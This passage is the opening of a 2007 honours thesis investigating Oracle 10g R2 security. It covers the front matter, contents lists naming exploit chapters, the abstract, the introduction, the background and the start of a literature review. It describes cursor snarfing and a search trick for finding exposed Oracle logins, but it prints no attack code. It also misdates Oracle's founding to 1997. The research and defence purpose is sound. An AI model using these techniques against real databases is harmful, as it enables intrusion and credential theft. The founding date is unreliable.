Post on 01-Feb-2023
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT
AN INVESTIGATION INTO THE SECURITY FEATURES
OF
ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI
SUPERVISOR: MR JOHN EBDEN
COMPUTER SCIENCE DEPARTMENT
05 NOVEMBER 2007
SUBMITTED IN PARTIAL FULFILMENT OF THE BACHELOR OF SCIENCE DEGREE
(HONOURS) RHODES UNIVERSITY
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 2
TABLE OF CONTENTS
ABSTRACT ................................................................................................................................... 9 ACKNOWLEDGEMENTS .......................................................................................................... 10 Chapter 1 ...................................................................................................................................... 11 1. INTRODUCTION................................................................................................................. 11 1.1 Database Security ............................................................................................................ 11
Chapter 2 ...................................................................................................................................... 13 2. BACKGROUND................................................................................................................... 13
Chapter 3 ...................................................................................................................................... 16 3. LITERATURE REVIEW...................................................................................................... 16 3.1. The Products from Oracle and the choice made .............................................................. 16 3.2. Terminology................................................................................................................... 17 3.2.1. Cursors .................................................................................................................... 17
3.3. Cursor snarfing ............................................................................................................... 17 3.4. Security concerns............................................................................................................ 17 3.4.1 Authentication .......................................................................................................... 17 3.4.2 Privileges and roles................................................................................................... 20 3.4.3. Auditing................................................................................................................... 21 3.4.4. Data integrity ........................................................................................................... 23
3.4. Oracle’s Software Security Assurance. ........................................................................... 24 3.5. Summary ........................................................................................................................ 26
Chapter 4 ...................................................................................................................................... 28 4. EXPLOITS AND PROTECTING AGAINST THEM............................................................ 28 4.1 CURSOR SNARFING .................................................................................................... 28 4.1.1 Analysis of the code.................................................................................................. 28 4.1.2 Counteracting on the attack vector. ........................................................................... 31
4.2 SQL INJECTION............................................................................................................ 32 4.2.1 A briefing on SQL Injection...................................................................................... 32 4.2.2 An Example of SQL Injection................................................................................... 34 4.2.3 Adding user to the SYS.SYSAUTH$ table................................................................ 38 4.2.4 Protecting Against SQL Injection.............................................................................. 41 4.2.4.1: A way to detect SQL Injection in Oracle ........................................................... 41 4.2.4.2 Using triggers to monitor database activity......................................................... 42 4.2.4.3 Normalisation .................................................................................................... 44 4.2.4.4 Binding Variable................................................................................................ 46 4.2.4.5 Input Validation ................................................................................................. 47
4.3 VIRTUAL PRIVATE DATABASE (VPD) AND ITS FLAWS ....................................... 47 4.3.1 The flaw in VPD....................................................................................................... 48 4.3.2 Another VPD attack vector ....................................................................................... 51 4.3.3 Prevention................................................................................................................. 53
4.4 CRACKING THE HASHES ........................................................................................... 53 4.4.1 Cracking the puzzle .................................................................................................. 53 4.4.2 ORABF: Oracle hash breaking tool........................................................................... 53 4.4.3 Word of advice from the DBA .................................................................................. 55
4.5 ORACLES’S PASSWORD HASHING AND ITS WEAKNESS..................................... 55 4.5.1 Weak salt .................................................................................................................. 55 4.5.2 Logging into Oracle Application Server .................................................................... 56 4.5.3 Ignorance to case sensitivity...................................................................................... 56 4.5.4 The hashing function................................................................................................. 57 4.5.5 Emulating the Oracle password hasher...................................................................... 58
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 3
4.5.6 Securing from password crackers and strengthening the hashing algorithm............... 58 4.6 USING PACKAGES TO HACK..................................................................................... 59 4.6.1 A summary about packages....................................................................................... 59 4.6.2 The flaw ................................................................................................................... 60 4.6.3 Prevention................................................................................................................. 63
4.7 STEALING THE WHOLE DATABASE USING PL/SQL.............................................. 64 4.7.1 The flaw ................................................................................................................... 64 4.7.2 Protecting Against Database Theft ............................................................................ 71
4.8 GETTING CLEAR TEXT PASSWORDS USING THE PASSWORD_VERIFY FUNCTION .......................................................................................................................... 72 4.8.1 Getting clear text Passwords by privileged user......................................................... 72 4.8.2 Create the user for the profile .................................................................................... 73 4.8.3 Carrying out the flaw ................................................................................................ 74 4.8.4 Protecting Against Clear Text Password Harvest....................................................... 76
4.9 TRANSPARENT DATA ENCRYPTION AND ITS ASSOCIATED FLAW................... 76 4.9.1 How it works ............................................................................................................ 76 4.9.2 Taking a closer look at the security of TDE............................................................... 79 4.9.3 Explanation............................................................................................................... 81 4.9.4 Solution to the problem............................................................................................. 81
4.10 AUDITING ................................................................................................................... 82 4.10.1 How it works .......................................................................................................... 82 4.10.2 Conclusion.............................................................................................................. 87 4.10.3 Destroying the Fine Grained Auditing..................................................................... 87
4.11 GAINING SYS FROM THE ORACLE DATABASE ................................................... 88 4.11.1 A short briefing....................................................................................................... 88 4.11.2 Carrying out the flaw .............................................................................................. 89 4.11.3 A product of the flaw .............................................................................................. 91 4.11.4 Suggested solutions................................................................................................. 92
Chapter 5 ...................................................................................................................................... 93 5. POSSIBLE EXTENSIONS ................................................................................................... 93 5.1 Future Work and other documented flaws........................................................................ 93 5.1.1 Comparison with other relational databases............................................................... 93 5.1.2 Wrong coding principle on Oracle ............................................................................ 93 5.1.3 Brute force attack on the SYS account ...................................................................... 97 5.1.4 Breaking up HTTPS in Oracle .................................................................................. 97
Chapter 6 ...................................................................................................................................... 99 6. CONCLUSION ABOUT THE SECURITY OFFERED BY ORACLE.................................. 99
Chapter 7 .................................................................................................................................... 101 7. ORACLE TUTORIAL ........................................................................................................ 101 7.1 The difference between SYS, SYSTEM and PUBLIC ................................................... 101 7.2 DBA and passwords ...................................................................................................... 101 7.3 SQL Commands ............................................................................................................ 102 7.4 Recreating the DBA role................................................................................................ 102 7.5 Tutorial on dynamic SQL .............................................................................................. 103 7.5.1 What is dynamic SQL? ........................................................................................... 103 7.5.2 SQL Statements ...................................................................................................... 103 7.5.2.1 DBMS_SQL.PARSE ....................................................................................... 103 7.5.2.2 DBMS_SQL.DEFINE_COLUMN ................................................................... 103 7.5.2.3 DBMS_SQL.EXECUTE.................................................................................. 104 7.5.2.4 DBMS_SQL.FETCH_ROWS .......................................................................... 104
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 4
7.5.2.5 DBMS_SQL.COLUMN_VALUE.................................................................... 104 7.5.2.6 DBMS_SQL.OPEN_CURSOR and DBMS_SQL.CLOSE_CURSOR .............. 104 7.5.2.7 DBMSSQL.BIND_VARIABLE ..................................................................... 104
7.6 Dropping users in Oracle ............................................................................................... 105 7.7 Reactivating the database............................................................................................... 105
MY POSTER.............................................................................................................................. 106 REFERENCES ........................................................................................................................... 107 APPENDIX ................................................................................................................................ 110
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 5
TABLE OF FIGURES
Figure 21: Firewalls are insecure [Newman A, 2007]................................................................... 13 Figure 22: The OSI model showing levels in which vulnerabilities work ..................................... 14 Figure 31: An example of a database table to illustrate encryption ............................................... 19 Figure 32: Performing a select on the database............................................................................. 20 Figure 33: Performing a select on the database............................................................................. 20 Figure 34: The master and the table key....................................................................................... 24 Figure 35: Oracle vs. MS Server 2004 ......................................................................................... 25 Figure 41: The error messaging showing the cursor number......................................................... 30 Figure 42: A snapshot of Cursor Snarfing .................................................................................... 31 Figure 43: The results from using an Exception Handle ............................................................... 32 Figure 44: A list of usernames and passwords obtained from SQL Injection ................................ 35 Figure 45: Privileges belonging to Scott....................................................................................... 36 Figure 46: The role has been successfully set ............................................................................... 37 Figure 47: The new roles assigned to Scott .................................................................................. 37 Figure 48: Another method of granting DBA ............................................................................... 38 Figure 49: Table successfully created by unauthorised user.......................................................... 39 Figure 410: Error message when trying to insert name to SYS.SYSAUTH$ ................................ 40 Figure 411: User could not grant DBA, detected by Oracle .......................................................... 40 Figure 412: Successfully executed by finding a procedure to perform SQL Injection on .............. 41 Figure 413: Role successfully set ................................................................................................. 41 Figure 414: Trigger monitor malicious activity ............................................................................ 42 Figure 415: Table to contain the audit on DDL statements in the database ................................... 43 Figure 416: Trigger to audit who performs DDL on the database ................................................. 43 Figure 417: The audit from tracking DDL statements................................................................... 43 Figure 418: An example of normalised query training.................................................................. 45 Figure 419: Use proxy driver to validate queries before submitting them to the database ............. 45 Figure 420: Normalised query are validated by comparison to the list of expected queries ........... 46 Figure 421: The table vpdtest created by user vpd used to illustrate Virtual Private Databases ..... 48 Figure 422: The diagram shows that everyone in the database instance can select on the table ..... 48 Figure 423: This is output from user Scott ................................................................................... 48 Figure 424: This is the new output when Scott selects to view the table ....................................... 50 Figure 425: This is evil code that breaks the VPD setting on public. ............................................ 50 Figure 426: The failed attempt to drop policy, Oracle may be validating input on the package ..... 50 Figure 427: The snapshot shows the VPD configurations broken down by SQL Injection ............ 51 Figure 428: Note the error message displayed .............................................................................. 52 Figure 429: SQL Injection successful........................................................................................... 52 Figure 430: The policy has been successfully dropped ................................................................. 52 Figure 431: Data exposed to attacker ........................................................................................... 53 Figure 432: Running the Orabf.exe tool to crack the SYS password............................................. 54 Figure 433: Running the tool without the password in the default list........................................... 54 Figure 434: The tool shows current password being tried and total time elapsed .......................... 54 Figure 435: The password successfully cracked ........................................................................... 55 Figure 436: Oracle concatenates username and password for hashes ............................................ 55 Figure 437: Oracle ignores case sensitivity .................................................................................. 57 Figure 438: The Oracle password hash from Oraclehash.exe........................................................ 58 Figure 439: The password hash for ‘SYS’ from Oracle ................................................................ 58 Figure 440: These are the privileges granted to user Scott ............................................................ 61 Figure 441: The snapshot shows the new privileges granted to Scott............................................ 62 Figure 442: A view of the v$instace table .................................................................................... 62
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 6
Figure 443: Incomplete patch set for the flaw from Oracle ........................................................... 63 Figure 444: Revoking execute on package ................................................................................... 63 Figure 445: The snapshot of a successful database theft ............................................................... 68 Figure 446: The snapshot of results obtained from running netstat commands.............................. 68 Figure 447: Binding the port number 3420 to the Socket.............................................................. 69 Figure 448: Running md4sum to check for data integrity ............................................................. 69 Figure 449: A snapshot from the export. Zip ................................................................................ 70 Figure 450: A snapshot from the export. Zip showing password hashes ....................................... 70 Figure 451: Table Hack imported into Csess’s schema from Scott’s schema ................................ 71 Figure 452: Indeed the table is now in Csess’s schema................................................................. 71 Figure 453: An unsuccessful export ............................................................................................. 72 Figure 454: Output from the Hack table ....................................................................................... 74 Figure 455: Attacker successfully sent through an email with credentials..................................... 75 Figure 456: Creating a wallet ....................................................................................................... 76 Figure 457: The table empo created ............................................................................................. 77 Figure 458: Encrypting the field deptno in the table ..................................................................... 77 Figure 459: Closing the wallet ..................................................................................................... 77 Figure 460: Running ‘SELECT *…’ with closed wallet............................................................... 78 Figure 461: Trying to insert a raw into table with wallet closed.................................................... 78 Figure 462: Successfully inserting a record with closed wallet ..................................................... 78 Figure 463: This view is allowed on the table because it does not involve the encrypted field ...... 78 Figure 464: Reactivating the wallet .............................................................................................. 79 Figure 465: The command to view where table is where the table is located in the database......... 79 Figure 466: Output showing the data file and block number of created table ................................ 80 Figure 467: Dump the table to the udump file in the database ...................................................... 80 Figure 468: Clear text in the udump file ....................................................................................... 80 Figure 469: Encrypt the field ‘Text’............................................................................................. 80 Figure 470: Automatically updating the udump with data in the buffer ........................................ 81 Figure 471: Clear text still exists even after data encryption......................................................... 81 Figure 472: No clear text exists after defragmenting the udump ................................................... 81 Figure 473: The audit settings on my machine ............................................................................. 82 Figure 474: Commands run on the table....................................................................................... 83 Figure 475: A portion of the audits .............................................................................................. 84 Figure 476: Table ‘Salary’ to be audited ...................................................................................... 84 Figure 477: Commands fired by audited user ............................................................................... 85 Figure 478: The audited predicates in the audit_trail .................................................................... 85 Figure 479: The commands run by audited user ........................................................................... 86 Figure 480: The audit_trail for the audit set in Listings 438 ........................................................ 86 Figure 481: Audited action performed by user ............................................................................. 87 Figure 482: The audit trail from DBA_FGA_AUDIT_TRAIL ..................................................... 87 Figure 483: Attacking the defined policy ..................................................................................... 88 Figure 484: These select statements are auditable......................................................................... 88 Figure 485: The audit trail does not show any trace of the newly performed statements ............... 88 Figure 486: Create a table to contain the password hash............................................................... 89 Figure 487: Stealing the password hash and changing the SYS password..................................... 89 Figure 488: The procedure SQLIVULN calculates the average salary.......................................... 89 Figure 489: Carrying out the Injection on the procedure SQLIVULN........................................... 90 Figure 490: Notice the password has transferred to the table Scott.psw_data................................ 90 Figure 491: The SYS password has been changed........................................................................ 90 Figure 492: Restore the password hash for the SYS account ........................................................ 90
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 7
Figure 493: SQL Injection to restore password............................................................................. 91 Figure 494: The new password hash for SYS using the password ‘newpsw’ ................................ 91 Figure 495: The new hash for the password ‘newpsw’ ................................................................. 91 Figure 496: User logged in with a wrong password hash. ............................................................. 92 Figure 51: A view of the Oracle objects of the Oracle.exe process from the tool WinObj ............. 94 Figure 52: shows the permissions set on the above mentioned object ........................................... 94 Figure 53: shows that every user has got full right on the object................................................... 95 Figure 54: Part of the wrong op code from the Oracle.exe process ............................................... 96 Figure 55: Wireshark steals data from the Internet ....................................................................... 97 Figure 56: Breaking through Oracles authentication..................................................................... 98
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 8
TABLE OF LISTINGS
Listings 31: Oracle’s password management................................................................................ 19 Listings 41: Password Compare Procedure................................................................................... 28 Listings 42: Using the Password Compare Function..................................................................... 29 Listings 43: Carrying out the flaw................................................................................................ 30 Listings 44: Handling the exception ............................................................................................. 32 Listings 45: An Example of injectable code ................................................................................. 33 Listings 46: Protecting against SQL Injection .............................................................................. 33 Listings 47: Another example of SQL Injection ........................................................................... 34 Listings 48: The procedure gets the owner of the any supplied object .......................................... 34 Listings 49: Execute the SQL Injection ........................................................................................ 35 Listings 410: Procedure grants DBA to public ............................................................................. 36 Listings 411: Execute SCOTT.GET_DBA as SQL Injection........................................................ 36 Listings 412: Grant DBA to public using autonomous_transaction............................................... 38 Listings 413: Create new user CSESS.......................................................................................... 38 Listings 414: User is not allowed to create table but he manages to do so..................................... 39 Listings 415: Trigger to prevent low privileged users from executing .......................................... 42 Listings 416: The Hide_Records function that hides the records specified as secret...................... 49 Listings 417: The code above adds the policy to be applied on the table vpdtest........................... 49 Listings 418: The attacker grants himself execution on DBMS_RLS through SQL Injection........ 52 Listings 419: The general structure of a package.......................................................................... 60 Listings 420: The spec of the package MYBadPackage................................................................ 61 Listings 421: The body of the package MyBadPackage................................................................ 61 Listings 422: Executing the package ............................................................................................ 62 Listings 423: Creating the file called parfile.txt............................................................................ 64 Listings 424: Execution of Operating System Commands ............................................................ 65 Listings 425: The procedure defined makes use of the java function execoSCmd() ...................... 65 Listings 426: The procedure defined makes use of the createParfile procedure............................. 65 Listings 427: This procedure makes use of the procedure defined above ...................................... 66 Listings 428: Creates a Socket that bind a socket for communication ........................................... 67 Listings 429: Creates a procedure that calls the FileSend class ..................................................... 67 Listings 430: This is how the procedure is to be executed ............................................................ 67 Listings 431: Granting myself rights to create files using OS commands...................................... 69 Listings 432: A procedure is created in the function that harvests passwords................................ 73 Listings 433: Creating a user in a profile ...................................................................................... 73 Listings 434: The procedure that sends the email ......................................................................... 75 Listings 435: Sending mail to the attacker.................................................................................... 75 Listings 436: Commands to view the audits ................................................................................. 83 Listings 437: Adding a policy to the FGA policy ......................................................................... 85 Listings 438: Adding a policy to the FGA policy ......................................................................... 86 Listings 439: Granting self execute privilege on DBMS_FGA ..................................................... 87 Listings 51: The structure of the SetSecurtiyDescriptorDacl () function ....................................... 96
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 9
ABSTRACT
The aim of this Literature review is to explore the basic security features offered by the Oracle 10g
Enterprise Edition database as well as to discover the insecurities hidden within the same database.
The introduction section introduces the concept of database security including the reason we have to
protect databases. The background section of the paper summarises the current situation within the
database security which includes the threats posed towards database security.
Oracle 10g database is categorised into five versions and among these I have made a choice of one
on which I will conduct my research. The research product offers four security layers namely
authentication, roles and privileges, auditing and data integrity. Oracle Software Assurance
describes how Oracle carries out their software assurance and what the critics of Oracle think about
it. The core of this project is tackled under the topic “Exploits and securing against them”. In this
chapter we look at a number of flaws that affect Oracle as well as possible ways of protecting
against them. These include Cursor snarfing, SQL Injection and breaking through the authentication
security put across by Oracle. Basically, these flaws are performed to test the four security layers in
Oracle as mentioned above. This Oracle research also includes possible extensions to this project
that can be added in the future. These include comparison with SQL Server as well as investigating
the OPS op code in Oracle which is claimed to be faulty. It is concluded that the Oracle database is
not well protected against a variety of attacks, chief of which is SQL injection.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 10
ACKNOWLEDGEMENTS
First and foremost I would like to thank THE LORD who gave me the strength to do this project. I
thank Him for the blessings. I would also want to thank Mr J. Ebden for giving me directions and
guidelines; this could have been hard without him. I thank him for the encouragement as well for
being patient with me. Keep up the good work Sir.
I would like also to thank Dameon Wagner (from the IT Dept) who helped me with the netcap tool;
your help is greatly appreciated. I would not forget Glenn Wilkinson (the monitor), thank you for
giving me your time to help. Ricky, I remember us analysing code time and again, thank you a lot.
Not forgetting Guy Halse as well, thank you a lot; your help is greatly appreciated.
To my two friends from Fort Hare (Dirk Van Schalkwyk and Edison Mukadah), it seems like last
week when we decided to come to Rhodes University but the year is over. We have been through a
lot together. Thank you a lot for the help, encouragement and support you guys gave to me, I
appreciate that.
I can not forget my class (CSC Honours 2007), thank you guys for both your direct and indirect
help and support. Last but not least, I would like to thank my mother who always has me at heart in
prayer.
I would also like to thank the Andrew Mellon’s Scholarship Fund for financing my complete degree
Programme. Furthermore, I would like to convey my humble thanks to the Computer Science
Department sponsors who include Telkom SA, Business Connexion, Comverse SA, Verso
Technologies, Stortech, Tellabs, Amatole, Mars Technologies, Bright Ideas Projects 39 and THRIP
through the Telkom Centre of Excellence at Rhodes University. I thank them especially for their
financial and technical help they offered me for the successful completion of this project.
…I do all things through Christ who strengthens me …
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 11
Chapter 1 1. INTRODUCTION
1.1 DATABASE SECURITY This is defined by the Wikipedia encyclopaedia as “the system, processes, and procedures that
protect a database from unintended activity.” These maybe categorised as authorised misuse,
malicious attacks or in advent mistakes made by authorised individuals or processes [Wikipedia (1),
2007]
“At its core, security is all about risk reduction. One of the most effective database security
practices, defenceindepth, employs multiple layers of protection to reduce the risk of intrusion. It
is analogous to the many defensive layers surrounding a medieval Castle: drawbridge, moat, the
outer wall, the inner keep, archers manning the wall, soldiers stationed outside the wall, etc. No
single level of defence is infallible; and yet all of these layers cannot ensure the castle will be 100%
impenetrable. However, these layers of protection can make the castle (and its crown jewels) less
vulnerable to attackers.”…Aaron Newman [Newman A (1), 2007]
Ever since databases have been included on the web wide web, their security has been at risk. Their
inclusion on the web was meant to alleviate their use by users in the fast growing industry of e
commerce, but little was it known that this would give serious challenges to Database
Administrators posed by hackers. “Data hacking dates back to the 1960s” claims St Petersburg
Times [St Petersburg Times, 2007]. It is surely a fairly old profession that is growing fast.
This involves identity theft which is unlawfully using another person’s credentials as yours. Bellah
[Bellah, 2001] defines identity theft as “…the unlawful use of another’s personal identifying
information.” This may include individual’s name, address, and date of birth or maybe biometric
information as well.
According to the Window Security website, there are 3 reasons for identity theft. It can be used by
a malicious user disguised as somebody else to commit crime. Malicious users can also gain profit
by selling people’s identities to others. Some people steal other peoples identities so as to hide from
past experience e.g. crime and debts. Another aspect to identity theft is illegal immigrants who steal
local citizens’ identities to seek employment as well as medication to mention a few
[WindowSecurity.com, 2007].
It is argued that identity theft is one of the biggest threats to the U.S. economy with actual losses
due to identity theft escalating as high as $332 million in 1994, $340 million in 1996 and $734
million in 1997. The growth is tremendous and is expected to reach a height of $2.3 billion in the
near future [Fichtman, 2001].
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 12
Database Security is in two forms; internal and external security. External security deals with
securing data against malicious people who are situated outside the database premises. These
usually use the network (or precisely the Internet) as the backbone of their attack channels. An
attack of this kind includes authentication attacks. Another type of database attack is internal though
this is not usually talked about. Research has it that 80% of all database attacks are of this kind.
People who are meant to be trustworthy and responsible to fight against attacks on clients’
information are infact becoming the major culprits for database attacks.
This shows how important it is to design very good security measures that will keep clients’
information safe. The database of concern in this project is Oracle RDBMS.
A brief history about the Oracle Company is that it was founded by Larry Ellison and Robert Miner
in June 1997 under the name Software Development Labs. These two men had worked together at
Ampex and the name Oracle came from one of their projects that they once worked on together.
The Oracle relational database is based upon the work of Edgar Codd who worked as a researcher
for IBM and developed a lot of ideas for relational database systems. Oracle’s biggest consumers
are the CIA and the NSA thus with this in mind anyone is at liberty to trust that Oracle is a secure
database. This project will investigate how secure the database really is specifically the latest
edition they released, 10g Enterprise Edition Release 2.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 13
Chapter 2
2. BACKGROUND
A decade ago, databases used to be physically secure; they used to be housed in central data centres
and not distributed. If an external data access had to be carried out it was mediated and thus it was
very rare for a security flaw to occur [Newman A, 2007]. But databases are now accessible
externally. They are now directly connected to suppliers, customers as well as partners, sharing data
directly. Databases have been configured to be available across the World Wide Web using web
pages to present fast querying by users for example online selling of products. The growing use of
ecommerce and Web application solutions has led to an increased risk of indirect attack on DBMS
from the Internet. These attacks on databases can not be prevented by barrier defence systems on
the Internet such as firewalls. The diagram below shows a how databases and firewalls may be
linked on the Internet. The problem experienced is that firewalls do not solve all security issues
surrounding a database; they can block some security threats to a database but fail to detect those
higher than them in the OSI. The diagram below shows a possible network structure including
databases. It is unreasonable to believe attackers can not get behind a firewall, thus a layered
defence is needed which includes Vulnerability Assessment (involves reviewing, analysing and
even attacking your own database to find security holes) and Intrusion Detection/Security Auditing
[Newman A (1), 2007].
www.appsecinc.com
Barrier Defense Is No Longer Enough
Internet Internet
Main Office Network Firewall Web Proxy
Firewall VPN Firewall
VPN
Business Partner’s Network
Remote Office Network Remote Employees
Accounting Accounting
Financial Financial
Internet Internet
Secret Secret Formula Formula
CRM CRM
HR HR
Figure 21: Firewalls are insecure [Newman A, 2007]
Databases
Internet
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 14
Recently, attackers have found a way of bypassing the role of the firewall in database attacks. It is
possible to search for Oracle database logins on the Internet and thus avoiding dealing with the
firewall by typing in the search string “iSQLplus’ in Google’s advanced search engine. This is also
possible in Yahoo as well [Newman A.C, 2007]
Firewalls operate at network layer of the OSI model (layer 3) and can not protect the database
against vulnerabilities introduced on higher levels of the OSI model such as SQL Injection which is
in layer 4, See diagram below[Rowe D, 2006].
Figure 22: The OSI model showing levels in which vulnerabilities work
It was reported that attackers are now turning their attention from Microsoft to other corporate
products such as Oracle. It is reported that “…the software products developed by Oracle Corp ...
have started to be more and more targeted by hackers” [Softpedia.com, 2007]. Recently, there has
been an allegation by David Litchfield, a researcher from the NGS Software Insight Security
Research (NISR) that Oracle has a big loop hole in its security system [Litchfield D (1), 2006]. He
claims to have found a method to hack into the Oracle RDBMS called “Dangling Cursor Snarfing”
in which he manages to access the system’s passwords using Dynamic SQL code. This is the
chaining together of SQL commands with userprovided parameters, the embedding of SQL
commands inside the given parameters [Anley C, 2002]. The researcher attributes that the Oracle
RDBMS’s failure to close cursors (a control structure for the successive traversal of records in
databases [Wikipedia (2), 2007]) created and used by Oracle DBMS_Sql) or failure to clean up
open cursors in the event of an exception can lead to a security hole [Litchfield D (1), 2006]. An
Oracle member of staff, Natalka Roshak, in the Oracle frequently asked questions gives a good
tutorial about how to manage open and closed cursors [Roshak N, 2004]. If the cursor in question
has been created by higher privileged code and left hanging then it becomes possible for a low
privilege user to snarf (steal or grab a large document or file for the purpose of using it with or
without the author's permission) and use the cursor outside of the application logic that created it.
7 6 4 3 3 2 1
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 15
This leads to data being exposed [Litchfield D (1), 2006]. Furthermore Litchfield, an associate in
the Microsoft Company released yet another paper entitled “Which database is more secure?
Oracle vs. Microsoft SQL Server” in which he proves that Oracle RDBMS suffers the most flaws as
compared to Microsoft SQL Server [Litchfield D (2), 2006]. This really leaves a very big question
on the security measures offered by Oracle which is worthy of a research.
On the other hand Oracle management acknowledge the discovery but claim that an exploitation of
this type of vulnerability is limited and requires all of the following conditions:
• Direct SQL*Net connection to the database with proper authentication, meaning that one
has to have administrative rights in order to take advantage of the flaw.
• Cursor executed in a package or procedure with Definer Rights
• Use of dynamic SQL via DBMS_SQL, a tutorial has been offered in the Terminology
section below.
• Can not alter the parsed SQL statement and can only change bind variable values.
• The cursor is not properly closed in a logic branch or in the event of an exception [Oracle
(1), 2007]
Therefore they claim that based on these conditions for a vulnerability to exist and the type of SQL
statement that could be exploited, this attack is practically a no issue. They claim that there are
more serious issues to worry about in DBMS_SQL than the trivial and highly impractical dangling
cursor snarfing [Oracle (1), 2007].
The contending view shared by Oracle and some researchers leave a lot to be desired on the security
offered by Oracle. This has given a spark for researchers including the author of this book, to
investigate on the legitimacy of these opposing views. This project is meant to investigate the
security features offered by Oracle and come up with a conclusion on whether Oracle meet up with
their security claims.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 16
Chapter 3
3. LITERATURE REVIEW
3.1. THE PRODUCTS FROM ORACLE AND THE CHOICE MADE The latest release from Oracle is Oracle 10g, and it is in four different versions. There is the
Standard Edition One which can be used by a single user in a small business to a distributed branch
environment. Its disadvantage in large scale industry is that it is limited to only two processors. The
second type is the Standard Edition which offers support for large machines and clustering of
services with real application clusters. Its characteristics might be good for my project but the
problem is that it is only licensed to a single server with a maximum of four processors. The third
version is the Personal Edition which supports single user developments and basically summaries
all the functionality of the Oracle 10g RDBMS into a personalised edition. It has a good advantage
of running on any number of processors but the only short fall if it were to be used for my project is
that it is restricted to one user. The fourth version is the Express Edition which has an advantage for
its capability to be installed on any size of machine with any number of CPUs but the major
difference is that it is designed for database beginners [Cheveers S, 2006]
I intend to make my project as close as possible to work environments, to enable me to face the
database security problems faced in the work place. I want it to relate closely to real life and not be
based on assumptions and further more I want to produce tangible results that can be used by a
corporation; it must not just be a practical but a project.
This leaves me with one last version which suites my needs, the Enterprise Edition. Oracle claims
it’s the most reliable among the five already stated. It performs secure data management for mission
critical application which is most suitable for my project. These include OLTP (OnLine
Transaction Processes) which are the fundamentals for ecommerce since databases are usually
useful on the web. It has a queryintensivedata warehouse demanding internet applications, it also
provides functionality to meet today’s missionoriented applications for the enterprise. It contains
all of Oracle’s database features and has the ability of adding extra security packs to improve on
security. Enterprise Edition supports all sizes of computers and is not limited to maximum
processor count. And finally, it has the most secure feature compared to the other four and is
designed for big corporations [Oracle (2), 2006]. Enterprise Edition R2 also offers a security feature
called Transparent Data Encryption (TDE) which protects sensitive fields in a table. It also protects
data in lost or stolen backup tapes and contains an Oracle Wallet to store the TDE passwords [Smith
GC, 2004].
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 17
3.2. TERMINOLOGY
3.2.1. Cursors These help to retrieve data from the database by fetching a row at a time, a cursor does this by
making a copy each time. A cursor has to be opened and closed immediately after use otherwise if
an exception is created within the code then the cursor may be left dangling (unclosed). This leaves
the database vulnerable to attack if a low privileged user gains access to this cursor as shown by the
new class of attack “dangling cursor snarfing” demonstrated by Litchfield [Litchfield D (1), 2007]
Technically, a cursor is a name for a structure in memory called a private SQL area which the
server allocates at runtime for each SQL statement. This memory area contains among other things,
a parsed version of the original SQL statement [Pribyl B, Feuerstein S, 2002]. If the host program
uses any variables in the SQL statement, then the cursor also contains the memory address of this
variable.
3.3. CURSOR SNARFING The hacking code is Dynamic SQL on PL/SQL which is Oracle’s primary language for
programming stored procedures which are programs that live and run inside the database server. I
have implemented the code and proved it to be true as specified by [David Litchfield, 2006]; Oracle
indeed has a security hole in case of unattended dangling cursors created by high privileged code. In
a nutshell, a higher privilege database user creates a stored procedure and grants rights to public
(every user on the database), this enables a low privileged hacker to run the procedure and creating
an exception which can not be handled by the dynamic SQL code. This leaves a cursor dangling
(unclosed) if the exception occurred before closing the cursor, and using this cursor value, the
hacker can easily obtain the SYS password.
3.4. SECURITY CONCERNS
3.4.1 Authentication The Wikipedia encyclopaedia defines authentication as the process of attempting to verify the
digital identity of the sender of a communication such as a request to log in. The authenticated body
may be a person using a computer, a computer itself or it may be a program on a computer. It
assures that users are who they claim to be and gives access to legitimate users [Wikipedia (3),
2007]. It is defined in the Information Systems Security’s glossary as “The act of identifying or
verifying the eligibility of a station, originator, or individual to access specific categories of
